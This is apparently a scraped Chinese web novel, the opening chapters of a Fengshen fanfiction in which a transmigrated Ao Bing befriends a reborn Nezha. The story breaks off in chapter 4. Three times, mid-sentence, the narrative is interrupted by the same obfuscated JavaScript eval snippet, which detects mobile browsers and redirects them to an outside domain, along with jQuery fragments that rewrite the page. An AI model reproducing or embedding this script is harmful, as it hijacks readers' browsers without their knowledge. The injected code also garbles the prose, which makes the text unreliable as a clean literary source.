《[封神]穿成哪吒三太子的宿敌》 1. 第 1 章 穿成谁不好,怎么就穿成敖丙了呢? 沈何目光呆滞地躺在龙族三太子三百平方米的贝壳床上,数不清这是第多少次发出的疑问。 他望着床顶正对着他挂着的一串小贝壳做的风铃,贝壳风铃在水纹里晃晃悠悠的,恍惚间叫他生出一种自己还是襁褓婴儿的错觉。 不对,照龙龄来算,如今的敖丙龙筋健在,尚在三百岁左右,确实还是个宝宝啊。 沈何宝宝轻轻叹了口气。 “三殿下、三殿下!” 就在此时,一只背着蟹壳的水族举着蟹钳咋咋呼呼地跑进来,站在寝宫外的水帘禀报,“那个俩包子头的红孩儿又来了!” 俩包子头的红孩儿……红孩儿不是西游记里的吗? 沈何脑子慢悠悠地转了一圈,呵呵道:“是俩丸子头的红衣服小孩吧。” 蟹将支起的两只眼睛眨了眨,呃了半天,说:“是吧,就是殿下天天偷看的那个,小的肯定没看错。” 什么叫偷看! “我那是……” 沈何想为自己辩解证明,从床上坐起来却发现他人身太小,在三百平方米的贝壳床上根本对不上蟹将的视线,自然无法让蟹将看见他真诚正义的眼神。 沈何:“……” 哎,算了。 他不甚熟练地在心里默念着法诀,终于在念到第十遍的时候身体微微发热,然后眨眼间化成一条蓝白相间的小龙,自漾漾水波中游飞了出去。 蟹将任务完成,搓了搓蟹钳正准备离开,转头却撞上了一道人影。 看清来人后,蟹将立马恭恭敬敬拱钳拜道:“秋先生。” —— “啊!” 沈何一手捂住自己的龙角一手捂住自己的嘴,虽说他穿过来已半月有余,但在控制龙身上依旧不得要领,一出海就一头撞到了海边的岩石上。 ——可谁让他别的法诀还没变身说得利索呢,比起徒步走出海底三万里,撞这么一下根本不算什么。 他揉了揉自个儿可怜的角,小心缩到岩石缝上。 托某吒的福,为了合理安全地探查敌情,沈何至少在掌握龙身大小的法诀上熟练非常,在离开海面的瞬间便能变成常人小指的长短,随便哪里都能藏,大大为他的探查工作提供了便利。 没办法,谁让他偏偏就穿成了敖丙,敖丙其龙,作为哪吒割肉还母、剔骨还父从而重塑莲藕身开启杀神路的重大转折点,死状之出名,华国人民无一不知啊。 那可是扒皮抽筋! 而如今本要承受扒皮抽筋命运的敖丙消失得无影无踪,异世而来的沈何莫名其妙取而代之……这么光荣又沉重的任务,沈何伤不起! 比起什么剧情什么封神,保住小命……算了,能让他死得痛快也行啊! 一旦想到自己悲催凄惨、时日无多的未来,沈何不由自主打了个寒颤,又弱弱缩了缩身体,像一个挤扁的Ω匿在石头缝里。 别的不说,哪吒毕竟是灵珠子转世,天生神力,要想不被察觉,他只能谨慎谨慎再谨慎。 哪吒会对一条龙警觉,但绝不会对一条毛毛虫施以关注——这是沈何潜伏五天得出的结论,他的躲藏功夫已炉火纯青! 总之,按照他的计划,待他细细观察哪吒几日,摸清了他的脾性,再想办法以一个真善美的形象出现在他面前,与之交好,如此说不定就能打消哪吒抽他筋的念头。 小英雄哪吒,你应该只杀坏龙不杀好龙吧? 沈何一面琢磨着,一面小心翼翼从岩石缝边探出小拇指指甲盖大的龙脑袋。 这几天哪吒基本日日都到东海畔打坐,常常一坐就是一下午,既不戴着混天绫在海里洗澡,也没做什么挑衅水族之事,仿佛只是看中了这片风水宝地,喜欢来修炼而已。 可惜沈何不知道哪吒闹海的具体时日,在摸清楚哪吒的性格前更不敢轻举妄动,只得胆战心惊提心吊胆地悄悄瞅着,以待合适露面的时机。 但…… 小龙脑袋不禁往石缝外抻了抻,不对吧,一般蟹将来报后的哪吒都是在这里打坐的啊,怎么他看了许久也没找到人影? 难道他今天换地方了? “在看什么?” 清亮温和的少年声在身后响起,沈何甩了甩龙尾巴,心道关你屁事。 “是在找我吗,”少年没等到小龙回头,似是耐心告罄,不客气地抬指捏住了龙身,将他轻而易举地提溜起来,“你是什么东西,龙和毛毛虫的杂交子吗?” 他语气疑惑又认真,仿佛当真在好奇,没有半分侮辱的意味。 沈何尾巴一顿,意识到身后人是谁的瞬间整条龙都麻木了,龙身僵硬得像死了三天。 “不要装死哦,”哪吒把他握在手里,大拇指轻巧地扭过小龙的头,让他和自己对视,“你每天都来监视我,从第一次,我就发现了。” 沈何:“……”妈妈,我想回家。 哪吒长年舞刀弄枪的指腹生了茧,粗糙的触感状似亲昵地拨弄着沈何的龙角。 明明他此时应该才七岁,却有一张俊美无俦雌雄莫辨的脸,离沈何那么近,几近尖锐的漂亮仿佛很轻易地就能迷惑他的神智。 可沈何没有任何一刻比现在更清醒。 因为哪吒的食指正缓慢地、凌迟似的,顺沿着龙身的背脊划过。 那是龙筋的位置。 “乖小龙,告诉我,是谁派你来的?” …… 哪吒半垂着眼,将小龙绝望无助的神色尽纳眼底。 敖丙。 成神前的许多人事都随着时间越来越模糊,自然包括陈塘关、包括他以死谢罪,诸多种种。 可在第一次发现敖丙的那刻,他几乎不用回想便忆了起来——那条被他扒皮抽筋的恶龙,封神后似在天庭也混了个一官半职,他不关心,也没刻意打听。 模糊的抽龙筋的记忆逐渐和眼下手中冰凉滑腻的触感重合,他坏心眼地用掌心摩挲了一下,果然激得小龙层层战栗,细小的龙鳞都要炸开了。 这条龙,长得和敖丙一样,却不是被他抽筋的恶龙。 算得上是他重生后发现的第一件趣事。 哪吒忽地笑了一下,拨弄着小龙耷拉的尾巴,“是条哑巴龙吗?” 沈何心中已成流泪猫猫头,出师未捷身先死,看来龙筋不保。 他含泪摇了摇头。 “那便告诉我,”哪吒温柔道,“是谁让你监视我的?” 这太温柔了,简直温柔得发邪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496192|170201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么温柔的语气,怎么能说出这么令龙恐惧的话。 沈何脑中的弦绷得马上就要震出哆啦咪发嗦,他有预感,如果他继续装哑巴只会耗尽此人的耐心,于是颤巍巍开口道:“没有人。” 声音也秀气,和先前那条恶龙一个天一个地。哪吒漫不经心地想。 “那你为什么偷看我,”哪吒的手指把他死死锢着,小龙的龙尾不得不缠在他的指间,鬼使神差地使他心情很愉悦,“你认识我?” 沈何努力用前爪扒住少年的手指,总觉得好像哪里不对劲,七岁的哪吒真的应该是他这副模样吗,是他这种性格吗,合理吗? 哪吒的小指轻挑了一下他软趴趴的尾巴,“说话。” “自、自然认识,”沈何抖了抖,情感上想说谎理智上已麻木嘴巴却不听使唤地说了真话,“哪哪吒三太子,陈塘关方圆百里皆有所闻,对对吧?” 哪吒:“嗯?” 沈何欲哭无泪,无师自通听出了少年的潜台词,是在警告他没有回答完全,“我就是好奇,看看你到东海做什么。” “天越来越热了,”哪吒闻言好像信了大半,故作忧愁道,“只是想看看有没有适合沐浴的地方。” 沈何捕捉到关键词,急得要拍尾巴,顾不得自己还被人扣在手心里,“不行!” 哪吒疑惑,“什么不行?” “不能沐浴!”沈何努力要伸长脖子,慌乱道,“也不是……不能在东海沐浴!” “好霸道啊,”哪吒皱眉,似是不满,“东海是你家么,我沐浴也要你管?” “呃,”这么一听哪吒好像还挺好说话的,沈何那么大声地说话他也不生气,也没有急着要抽他的筋,沈何觉得生存有望,更加绞尽脑汁,“东海那么大,里面住的种族那么多,水肯定不干净呀。” 沈何见他眉头皱得更深,却不像烦躁,反倒像听劝了的深思,乘胜追击道:“你回家洗多舒服啊,或者家里的小池塘也可以啊,总比东海里头鱼龙混杂得好吧?” 他自己不就是住在里头的龙么? 沈何对上哪吒黑沉沉的眼睛,心脏左三下右三下地乱蹦个不停。 “好罢。” 终于,哪吒移开视线,松口道:“那此事便容后再议。” 也行,今天不洗明天不洗他就还能多活两天。沈何很聪明地没和他犟。 “所以你到底是什么东西?” 哪吒神色好奇地用指头碰了碰小龙的龙角,沈何敏感地缩了缩脖子,好像龙身也泛起了粉,哪吒盯着他,问:“刚孵化的小龙?” 都没差。沈何不想解释,屈辱地点了点脑袋。 “这么小一只,要是回海里,会被大龙吃掉吧?” 胡说,人家大龙又不是有病吃自己的后代。 沈何有心为大龙辩驳两句,一抬脑袋对上哪吒深海般的眼眸,怂唧唧地把到嘴边的话咽了回去。 “既然如此,”哪吒很满意他的默许,勾起指节挠了挠小龙下巴,“那你与我回陈塘关,做我的玩伴吧。” 嗯。 沈何下意识以为他是该放自己走了,听到后半句不由愣住。 ? 不行啊,他爹不让他离开东海百步以外啊! 2. 第 2 章 “等一下!等一下!” 沈何急声叫住他,他现在龙在人手不得不低头,哪吒不知道使了什么手段,他被对方抓在手里竟连半分法力都使不上。 要是哪吒不听阻拦直接把他塞兜里揣走就完蛋了,沈何看着他停下脚步,朝自己投来略显疑惑的目光。 “你日日到海畔看我,难道不是在海里太过孤独,才到陆地找玩伴的么?”哪吒眉头微微皱起,视线似乎也随着质疑变得危险起来,“不然,为何你只盯着我不去盯旁人,还是你嫌弃我不成,我不配与你做玩伴么?” 这什么跟什么呀。沈何要被他一句接一句的质问砸蒙了,完全没意识到他在诡辩,满脑子都是“怎么就成我嫌弃他了”“要是我还非要走他会不会当真觉得是他不配了”“哎呀他恼羞成怒又要抽我筋了怎么办”云云,着急得说话也结巴起来: “我我没有嫌弃你,你挺好的呀,就是、就是……” “挺好的就是不好,”哪吒眯起眼睛,将小龙举高和自己目光平齐,“说这么多,其实还是不想和我玩。” 他停顿了一下,幽幽叹了口气,“我知道,你们都怕我,和我爹一样不喜欢我。” 沈何:“……” 不、不是吧,哪吒竟然是这么容易敏感自卑的性格吗……沈何两只爪子费力地扒在少年横亘在龙身前的拇指上,不由心生愧疚,期期艾艾道:“真的不是不喜欢你,我们海里的人……龙,都听过你的名头呢,你可出名啦。” 哪吒不动声色托了托他的身体,道:“那你为何不愿与我回陈塘关?” “我有自己的家啊,”沈何总算找回脑子,马不停蹄地解释,生怕少年再误会,“我才三百岁,还是条小龙呢,要是不见了我家里人会担心的,到时候他们去陈塘关找我可就麻烦了!” 像是怕哪吒不信,沈何伸长脖子特意强调道:“我爹特别凶,真的!” 一只手就能揉搓的小龙,神情那么认真地向他解释原因,还真是滑稽得紧。 哪吒笑了一下,“所以,你是愿意做我的玩伴的,是吗?” 沈何:“……是吧。”他敢说不是吗? 哪吒眉间又蹙,“你很勉强?” 别做出这种表情!好像下一秒他又要说什么“果然你就是不喜欢我”之类的话了,沈何飞速打断他施法,“不勉强!我很愿意!” 少年眉头舒展开,喜怒正如同七岁的孩子——要是他看起来真的像七岁就好了。 沈何舔了舔嘴唇,到底没忍住问他,“你几岁了呀?” 哪吒:“你不是说我很出名么,连我几岁都不知道?” “当然知道,”小龙扬起脑袋,信誓旦旦道,“七岁呀!” 哪吒挑眉,“那还问我做什么?” “可你看起来……不像七岁。” 沈何想不明白,无论是哪个版本的哪吒在屠龙时都是孩童模样,但眼前的哪吒显然是十五六岁的少年形容,难道是时间线出了问题? 可他穿的确实是敖丙,东海龙王的第三个儿子啊。 龙筋尚在版。 “前一阵突然昏睡了几日,醒来就成这样了。”哪吒眨了眨眼,道,“我师父说,是因为我体内灵气过多,身体为了适应灵气生长才发生了变化。” 实则是他猝不及防魂魄回溯到几百年前,身体承受不住神魂的压力,于是不得不改变体格样貌——这已是他有意控制的结果。 沈何信了,什么事发生在哪吒身上都不奇怪,毕竟是灵珠子转世,有点特异功能很正常嘛。 “原来如此,”沈何在心里给哪吒打上“似乎很好说话”的标签,试探问道,“嗯……那你可以放开我了吗?” 拜托,一直被人握在手里很羞耻的! 哪吒说:“你要……回海里了吗?” 他语气似乎有几分失落,像是十分不舍。 原本想一口应下的沈何鬼使神差感到不忍,到嘴边的话转了一圈就变成了,“时间还早,我不走,只是你这样抓着我有点难受。” “可你太小了,”哪吒苦恼道,“被风刮跑了怎么办?” 沈何下意识道:“没关系啊,我变成人形就好了。” 哗—— 是潮水涌上沙地的声音。 哪吒意味深长道:“原来你已经修炼成人了。” 沈何:“……是啊,哈哈。”显得他每天来偷看哪吒的行为更奇葩了。 “要我放开你也不是不行,”哪吒的小指勾着他的尾巴,满意地感受到小龙在他手里轻微地颤了颤,“告诉我你的名字。” 沈何嘴比脑子快,“叫我小敖就行。” “哦,”哪吒说,“怪不得,原来你是东海龙王的儿子。” 沈何:“……” “东海龙王仅有三子,与你年龄相符的,只有三子敖丙。”哪吒轻笑出声,不知是在笑他傻还是笑他天真,调侃道,“原是龙王三太子,是哪吒有眼不识泰山了。” 折寿,折寿了。他哪敢当哪吒的泰山啊。沈何可怜兮兮道:“你前面不是也没问我吗?” 不算他说谎吧,他还是一条可以拥有自己龙筋的好龙,对吗? 少年的指腹若有若无地自小龙的下颌划过一瞬,道:“让我看看你的人形吧。” 沈何怔了怔,不等他回应,又听哪吒道:“不要趁机逃跑哦,否则就算大闹龙宫,我也会把你捞出来的。” 已畏惧。 沈何睁着他人畜无害十分真诚的眼睛看着少年,斩钉截铁道:“不跑,谁跑谁是猪。” 还知道什么是猪呢。 哪吒眉尾扬了扬,将他放回之前的岩石缝上。 以这个角度,无论沈何想从哪里跑,哪吒都能第一时间把他捉回来。 然而沈何并不清楚他的琢磨打算,落地的瞬间便紧闭着眼默念起变回人身的法诀。 真奇怪,平日在海里他要念个百八十遍才能变回去,今日不知怎的,许是哪吒在一边虎视眈眈的缘故,竟是第一遍就成功了。 同样少年模样的人完全忽视了自己脚下踩的地方,变回人的瞬间睁开眼时脚便一阵刺痛,旋即身体不受控制地朝后倒去—— 妈妈呀! “小心!” 哪吒眼疾手快地抓住他的手,将他拉回自己的方向,同时手心浮起灵力护住两人,才得以叫沈何跌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496193|170201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来时站稳。 “痛——” 沈何混乱间攀住哪吒的肩,脚心踏在沙地上不由痛呼出声。 “怎么了?”哪吒手臂绕过他背后扶住他的身体,目光从他疼出泪意的眼睫落到他赤//裸的足上。 星星点点的血渍遗留在沙子上,血液凝结了沙砾,像一颗又一颗红豆。 “——脚破了。”沈何怕疼,哪怕沙子争先恐后地吸附在脚心的伤口上,他也半分不敢再动,就怕移动摩擦伤口了更痛。 这是方才他变成人形时脚踩在岩石上刮出的血口。 哪吒眸色深了深,眉毛也皱在一起。 沈何打量着他的神情,虽说脚是真的疼,可他不想让哪吒以为自己在怪他——一丝一毫被抽龙筋的风险他都不想有,因此他想都没想道:“没事的,是我平日在龙宫习惯赤脚,甫一到陆地没能习惯,不怪……” “你的血,为什么是红色的?” 沈何一愣。 血不是红色的,还能是什么颜色? “别乱动。” 哪吒揽住他的肩,掌心生出似焰色的光芒,旋即汇聚成团挥向沈何的赤足。 淡淡的像火光一样的光团落在他脚上,触感却冰冰凉凉,仿佛变了一个魔术,脚底的伤口瞬间愈合,痛感亦随之消失。 沈何惊叹道:“好厉害。” 哪吒偏眸瞥了他一眼。 他的确没有认错,这个人虽然龙形和那条恶龙十分相像,变化出的人身却不尽相同。 少年的容貌正如心性,生了一张白嫩天真的娃娃脸,眸瞳澄澈如星,睁圆了像狸奴的眼睛,看向人的时候眼尾却习惯性地翘起,又有几分像机灵的幼狐,而挺翘的鼻尖下是一张水润湿红的唇,唇间洁白的贝齿半露,透出几分不谙人事的娇憨。 “哪吒?” 沈何见他神情晦暗地盯着自己的嘴发呆,不由歪了歪头,心里又惴惴起来,“是怎么了吗?” “没事,”哪吒移开视线,明知故问,“脚好了吗?” 一提这个沈何便笑弯了眼,踮脚在沙地上踩了踩,“好了!你的法术特别灵!” “那就好。” 哪吒松开他的肩,视线不经意扫过少年额角的两只龙角,道:“为何不将龙角隐去?” “……应该是我修行不到家吧,”沈何闻言摸了摸那对角,又想起海里的水族虽几乎都有灵智,但大多还保留着原本族类的特征,补充道,“而且妖族化人的时候不都喜欢保留一部分本体嘛,多帅气啊。” 他像是想到了什么,脸上骄傲的神情缓缓褪去,“哪吒。” 哪吒望向他,沈何的脸上藏不住心事,紧张和焦惧快要从眼里溢出来了。 他道:“什么事?” “严格来说,我是妖,你是人。”沈何抿了抿唇,“你会……杀我吗?” 虽说从哪吒抓住他到现在,哪吒都没流露出要弄死他的意思,但为了自己的小命,沈何还是问出了口,亲耳确定哪吒的态度才安心。 “妖我会杀,”哪吒看见沈何瞳孔骤缩,忽地笑开道,“但我不会杀我的玩伴。” 所以,不能跑掉哦。 3. 第 3 章 沈何嘴唇肉眼可见地颤了颤,“不、不吃人的妖,也要杀吗?” 沈何在穿书前身体一直不好,几乎一半时间都住在医院,无聊的时候就爱看些灵异志怪的书。 而有关哪吒闹海的记载众说纷纭,屠龙的原因也各式各样,沈何甫一穿来摸不清自己究竟穿的是哪个版本,又不敢贸然打听以免暴露身份,所以虽穿来已有半个月,可对东海内的形势了解甚少。 但他至少能保证,东海里吃人的精怪是少数,否则不可能与陈塘关毗邻多年相安无事。 哪吒笑睨他一眼,“这么怕?” 小命不保谁不怕!沈何一眨不眨地盯着他,眼前的哪吒身量比他还高些,容貌俊丽,行止虽有孩子气,但并不像封神原书中描写的那么鲁莽,除了有些话听着古怪,完全不见杀神的影子。 或许是他想的太复杂了,只要好生洽谈着,哪吒再嫉恶如仇,应也不至于二话不说就把他打死了。 “怕什么,你爹东海龙王乃是正神,你是他的儿子,不算是妖了。” 哪吒毫不拘节地在沙地上盘腿坐下,手撑着下巴掀起眼皮瞧他,“你说你不吃人,怎的又怕我杀你?” 倘若哪吒真的有杀他取筋之意,大可直接出手将他拿下,不必浪费时间同他说道解释。沈何悬着的心回落到胸口,眉眼轻轻展开。 “我想你是灵珠子转世,以降妖除魔为己任的……”沈何不好意思地抿了抿唇,心下有些愧疚自己先入为主,哪吒明明很好一个人,既不责怪他偷看对方修炼,还会帮他治脚伤,就连他直言怀疑,哪吒也没有生气的意思。 沈何蹲身坐在哪吒身边,抱着膝盖道:“你想我做你的玩伴,是不是想有人陪你呀,正好我在龙宫也无事,你想和人说话来找我就好了。” 过去他在现代体质太弱常常住院,养父母工作繁忙很少去看他,而他在该去学校的年龄只能躺在病床上,所以几乎没有朋友,能说的上话的人大多是护工和护士。 他太懂得孤独是什么感觉,没有人和他玩,他便将精神寄托在书籍小说上,看书中人的喜怒哀乐,仿佛像他自己亲身经历了。 如今穿成了敖丙,虽说一开始他确实害怕重演被剥皮抽筋的命运,但至少他有了健康的体魄,不会在吃饭的时候猝不及防呼吸困难,也不会在睡觉的时候骤然胸闷恶心…… 现在连他最担心的哪吒也没了风险,沈何心情十分松快,于是很容易共情了哪吒的“寂寞”,自动将哪吒方才说的话脑补了一番,心中属于哪吒的“凶残”形象不知不觉已变成了需要陪伴的小可怜。 想来哪吒虽是灵珠转世,可身负异能之人恐怕不易被常人接受,连他的亲生父亲李靖都对他颇有微词,遑论旁人呢? 再说他不过七岁,却已是十五六的少年模样,也很难和同龄人一起玩了。 沈何微不可察地叹了口气。 “你当真愿意吗,”哪吒感受到身侧的温度,眉梢不动声色地挑了挑,心道这小龙当真天真,三两句话便叫他卸下心防了,“虽然他们表面不说什么,但我知道,他们心里都把我当怪物,我爹是,陈塘关的百姓也是,就像你,一开始也很怕我,不是吗?” 无外乎是因为殷夫人为诞下哪吒饱受三年怀胎之苦,加之哪吒出生时满屋异香,从肉球蹦出时已是孩童模样…… 说好听了是灵珠转世非同凡响,说难听些就是妖物魔物。 “我那是……听信了谗言,现在我知道了,传言不可信的。”沈何略有心虚地眨了眨眼,用肩膀抵了抵哪吒的肩,“你不信的话,我给你个东西。” 哪吒顺着他的动作垂眼望去。 素衣少年将自己脖颈上的珍珠细链取下,链上挂着的赫然是一枚象牙色的响螺。 “有了这个,你想什么时候找我就能什么时候找我。” 沈何拉起他的手把珍珠链放到他掌心,哪吒的身体似乎比常人热不少,像只小火炉,蒸的他手腕上的乾坤圈也热热的。 沈何被烫了一下,东西放到他手里了便下意识要松开手,却被哪吒另一只手攥住了手腕。 哪吒对上他茫然的视线,道:“我不会用。” “你把响螺放在掌心,用法力催动它……对就是这样!” 原本小指大小的响螺变得有哪吒手心的大小,沈何兴奋地催促他放到嘴边,“它可以吹响!” 哪吒迎着少年期待的目光,将响螺角抵到唇边。 呜—— 随着螺声响起,少年的额间竟显现出一道水色的法印,衬得他那双明眸更加灵动。 “看,这枚响螺上有我的法契,只要你吹响它,我就能得到感应。”沈何有些激动,从他得到这枚响螺起他就想试试了,可惜一直没找到合适的人选,眼下终于派上了用场,“是不是很方便,这样你就不用担心找不到我……” “只要我吹响它,你就会来吗?” 沈何:“嗯嗯!” “那你帮我戴上吧。”哪吒说着,自然而然地探过身子,炙热的呼吸不经意喷洒在沈何脖颈边。 “好、好。” 沈何莫名觉得脸红心跳,一面暗暗吐槽自己还保有看到哪吒就害怕得紧张的惯性,一面接过珍珠链,环过红衣少年的颈项扣上锁扣。 哪吒颈骨僵硬一瞬,沈何的温度就像那一浪浪海水,微凉的指腹若有若无地擦过他的后颈,拂过清浅的莲香。 “我该回去了,不然我爹要着急了。”沈何退开一些距离,想了想还是轻声嘱咐道,“你莫要贪凉去海里洗澡,也莫要去九湾河,水不干净的。” 哪吒心下觉得好笑,故意道:“可你不就住在海里?” “那不一样!”沈何拧起眉头,纠结半晌才道,“你若非要洗也行,就是莫要将你那混天绫和乾坤圈一齐洗了。” 哪吒问:“这又是为何?” “那可都是宝物,往海里搅一搅,底下的龙啊虾啊、草啊鱼啊便不得安生了。”似是已预见了结局,沈何眉目不由染上了几分忧虑,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496194|170201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若不想遭殃,就听我的。” 他遭殃?哪吒狭了狭眸,眸瞳中有暗红一闪而过。 这小龙不叫他在海里洗澡,是怕混天绫和乾坤圈扰了龙宫安宁,前世他的确在九湾河洗了这两件物什,不想先激出了海夜叉,又震出了龙王三太子敖丙。 他与那恶龙敖丙本有私仇,索性顺手要了他的性命,抽了那厮的龙筋作龙筋绦。 东海龙王敖光爱子心切,寻到陈塘关要说法,他不欲叫李靖和殷素知牵扯其中因果,于是割肉剔骨了却肉//身…… 可这些,眼前的这条小龙又是怎么知道的? 而他的模样分明和前世的恶龙大相径庭,可敖光竟毫无察觉,不曾怀疑吗? 沈何见他出神,抬手在他眼前晃了晃,“哪吒,你听见了么?” “知道了,”哪吒压下疑虑,忽地抓住沈何的手,道,“我也送你一样东西。” 这条小龙太傻,哪吒想,好不容易碰到件趣事儿,他还不想让对方死得太早。 “嗯?”沈何没想到还有回礼,高兴道,“是什么?” 哪吒看着他的眸子,法力汇聚成丝缕暖流,顺着两人交握的手送进沈何的经脉。 一股难以言说的温暖在沈何体内流转,最终凝至他额间中央,化成一朵红莲法印。 沈何若有所觉地伸手抚过眉上。 “有了它,如遇危险能帮你挡过致命一击,”哪吒神情有些恍惚,他本只想赠对方一个法契,却鬼使神差将法印送了出去,“若有急事,你在心中呼唤我的名字,我便能听见。” “这么厉害!”沈何感叹,不愧是哪吒,年纪小小就会这么复杂的法术了,甚至无需依托外物就能传音,“我很喜欢,谢谢你!” 红衣少年诡异地红了红耳尖,撇开脸点了点头。 “我真的要回去了,”沈何抬头望了望天色,不知不觉竟已到落日时分,他道,“那……明天见?” 虽说她和哪吒只相识了一个下午,沈何却觉得像认识了三百年一样久,大抵是他第一次交到这样的朋友,心里也有些隐秘的不舍。 哪吒说:“好。” 霞光渐暗,沈何的身影早就消失在海面上。 哪吒眸色沉沉,指节缓缓抚上胸口坠着的响螺。 像沈何的指尖,温凉的。 原本他到这东海畔来,是为了确保一切能按照前世的轨迹进行,杀龙取筋,毁祭肉//身。 却不想敖丙才是最大的变数。 若前世的恶龙是真敖丙,那方才的人是谁,若如今这个才是真的,前世死在他手里的又是谁? 还是说,是因为他魂魄回溯,导致许多事都发生了变化? 海水在月色下泛起粼粼波光。 帅府仆从找寻他的声音越来越近,哪吒耷下眼皮,面无表情地将响螺塞进领口,转身朝火光点点走去。 这具身体流着李靖的血,他不可能留。 大不了不杀敖丙,他再找别的法子。 4. 第 4 章 东海,水晶宫。 沈何揣着手小心翼翼地绕过正殿,白日他爹敖光忙着处理这事那事,根本没时间搭理他,可到了晚上敖光便会回龙宫。 今日他和哪吒在岸上耽搁的时间有些久,万一被敖光逮了个正着…… “敖丙。” 敖光沉稳威严的嗓音自殿中传来。 沈何:“……”还真是说曹操曹操到啊。 他蹑手蹑脚的动作一顿,无奈倒了回去。 敖光虽对三子敖丙十分宠爱,但管教极严。沈何每日吃了什么、睡了多久、到哪去了都有龙兵专门向敖光汇报,沈何穿成了敖丙,自然要这个名义上的父亲言听计从。 沈何在正殿中央单膝跪下,垂首恭敬道:“敖丙拜见父王。” 敖光高坐王椅上,手里捏了一卷竹书,闻声抬手先挥退了四周的虾兵蟹将,才对沈何道:“起来吧。” 沈何老实本分地,“谢父王。” 听敖光的语气,倒不像有怒意,沈何刚悬起的心稍稍落下,上头的敖光便开了口:“你去岸上了?” 沈何心里咯噔一下,从哪吒这几日出现在东海附近起,他基本每日都会到岸上观察,不过此前哪吒只在东海边待一个多时辰,他走后沈何再回到龙宫时,敖光往往还在处理事务,他只说自己到岸上透气就能糊弄过去。 今日却岸上快天黑了他才归来,恐怕敖光会多追问。 但沈何不敢说谎,回道:“是,父王。” 敖光沉默一阵,反叫沈何心底的不安更浓烈了。少顷,敖光朝他招手,“到我跟前来。” 沈何抬眼对上龙王如深海般沉邃的眼眸,攥着手指上前了几步。 敖光:“我是说到我身边来。” 沈何:“……”他知道,但他怕离得近了敖光抽他更容易。 父命难违,沈何无声舒了口气,抬脚走上水晶台阶,站到敖光面前。 敖光定定瞧了瞧他,“我听龙兵说,你连着几天都往岸上去,可是东海让你憋闷了?” 没有啊,东海里要美食有美食,要美景有美景,他恨不得一天到晚都瘫在贝壳床上当米虫。 沈何说:“儿臣只是想四处转转。” “也怪为父,事务繁多忽略了你,”敖光似是在这件事上很头疼,“你的两个哥哥都在边海当值,倒也难顾上你……对了,近来你和秋先生相处得如何?” 敖光口中的秋先生是一位道人,据说是敖光特意为他找来的师父,正巧在他穿来的第一天来到东海,在敖光的指引下沈何便懵懵懂懂地拜了师。 “挺好的,”沈何眉头蹙了蹙,“秋先生教给儿臣许多功法。” 虽说这位秋先生行为得当,又是一副仙风道骨的模样,教沈何的时候也尽心尽力,可不知道为什么沈何总感觉对他很排斥。 “挺好的就是不好。”敖光沉沉叹了口气,不禁说教道,“秋先生千里迢迢来到东海,便是为了你,丙儿,你定要好好与秋先生学道,对你日后大有裨益……” 沈何一面“嗯嗯”一面点头,敖光什么都好,就是太爱啰嗦,磁性的声音仿佛催眠曲成精,念得他眼皮子打架。 “敖丙!” 沈何一个激灵,“在,父王!” 敖光:“……” 他几乎咬牙切齿,又不想把脾气发在沈何身上,压着怒火道:“你的响螺呢?” “嗯?”沈何睁大眼睛,敖光怎么突然提起这个,难道是知道他送人了,“它、它在啊。” 敖光眯起眼睛,“那你拿出来让为父看看。” 沈何嘴角僵住,“……” “还有,你身上的法印从何而来?” 响螺是次要的,这才是敖光真正想弄清楚的。 像是怕沈何又要装傻,敖光双指并起,一道冰凉的气息划过少年的额头,下一瞬鲜艳如火的红莲显现在沈何额间,像是要彰显什么般,宛如烙印。 沈何下意识要捂住眉心。 敖光眼皮跳了跳,看他如此慌张的样子,看来对这枚法印是心知肚明的。 明明知道还放任!法印是随便什么人给都可以要的吗! 敖光气得太阳穴阵阵发疼,险些眼前一黑栽过去。 “我、儿臣……”沈何眼睫眨得飞快,几百个谎话和理由在他嘴边兜了一圈,最后化成一句,“儿臣知错了。” 敖光合上眼,“……” 罢了,他的丙儿还只是三百岁的小龙,怕是三言两语就被那岸上的黑心道人忽悠了去,到底是留法印之人的错,与敖丙何干呢? 敖光越想越觉得有理,心情总算平复了些,“你告诉父王,这枚法印是谁留下的?” 他肯定不能说,看敖光震怒成这样,要是他说了哪吒不就完了!沈何拨浪鼓似的甩了甩头。 敖光万分惊惧,“你还护着他?” “不是这样的父王,”眼看就要越描越黑,沈何连忙蹲身趴在敖光王椅的扶手边,可怜巴巴道,“他没有恶意的,是儿臣先将响螺送了他,他才作为回礼送了儿臣法印,而且……” 敖丙分明根本不知道这枚法印意味着什么,敖光生无可恋,“而且什么?” 